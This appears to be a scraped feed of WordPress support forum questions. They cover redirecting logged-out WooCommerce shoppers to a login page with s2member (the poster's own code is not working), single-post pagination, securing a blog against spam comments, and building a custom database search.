s2member is a free plug-in to handle memberships/subscriptions
and woo-commerce is a free plug-in to handle e-commerce for a website. I am trying to create a Level 0 membership with s2member where non-registered users cannot purchase(but can see catalog) unless signed-in. I am trying to achieve this by making the "add the cart" button(s) in website, powered by woo-commerce, redirect to the account
login/sign-on page. After logging in/signing up,can a visitor attempt
to buy products via "add to cart".

I put my "integration code" for the 2 plug-ins inside my functions.php file of my wootique theme.

My current code is something like this:
<?php
add_filter('add_to_cart_redirect','redirect_to_login');
function redirect_to_login() {
global $woocommerce;
if(is_user_not_logged_in()){
$login_page = get_permalink(get_option('10'));
// above line goes to accounts page
return $login_page;
}
} ?>

The above code doesn't work. However, if I try something like this
(not what I need), it works:
<?php
if(is_user_not_logged_in()){
echo "<p>Function reaches this point</p>";
} ?>

Narrowing down the problem, its mainly the woo-commerce
part(s) of the code that doesn't seem to work here.
I would like to know from the more experienced WP users here
if the problem is the syntax and coding and/or do I have
to put the coding at another place. I will appreciate
any thoughtful help.

Last note: I am aware of a membership ship plug-in made
by Woo called groups. I haven't tried it and I am guessing
its compatible with with woocommerce; however, I want
to solve my issue with s2member because I believe s2member
is more feature-rich and has a larger use in client projects.

hleV on "A Better wp_link_pages()?"

$
0
0

Hello. I'm making a theme and I want both index/archive and single post/page paginations to look alike, and they need to have both prev/next links and page numbers. For index/archive, paginate_links() is great, but wp_link_pages() lacks features.

For prev/next links in single page/post pagination I use this, but I still require the paginate_links() feature to only display a certain amount of numbers on the sides and the middle.

So, would it be difficult to get single post/page navigation to work exactly like index/archive one?
(Won't be able to make it myself as I'm relatively new, so tell me it's hard and I'll be fine without it.)

ace2307 on "Help with security"

$
0
0

Hey guys,
What are some things I can do to secure my blog from hackers? I have my blog set up so that you must register to comment on any of my pages. Yet, I had a comment from an unregistered person. How could somebody comment on something when I have it set specifically for registered users? Are there any plugins or things I can do to help with the security of my blog?

Maruful Islam on "Custom search function to query into Database Table"

$
0
0

I'm trying to design a custom search function that will receive user supplied inputs, query a database table, retrieve rows and display in a page.

I need a little idea how would I customize/overwrite the default search function to enable it handle SQL queries.

Thanks in advance.

Viewing all 8245 articles
Browse latest View live




Latest Images